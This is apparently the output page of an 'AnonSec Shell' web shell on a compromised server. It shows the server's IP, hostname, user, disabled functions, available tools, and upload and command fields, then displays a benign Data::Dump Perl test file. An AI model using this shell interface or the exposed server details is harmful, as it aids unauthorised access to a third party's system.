AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.103
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/perl-Data-Dump-1.22/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     

Current File : /usr/share/doc/perl-Data-Dump-1.22/t/dollar-one.t
use strict;
use warnings;
use Test::More tests => 6;

use Data::Dump qw/dump/;

if ("abc" =~ /(.+)/) {
    is(dump($1), '"abc"');
    is(dump(\$1), '\"abc"');
    is(dump([$1]), '["abc"]');
}

if ("123" =~ /(.+)/) {
    is(dump($1), "123");
    is(dump(\$1), '\123');
    is(dump([$1]), '[123]');
}

Anon7 - 2022
AnonSec Team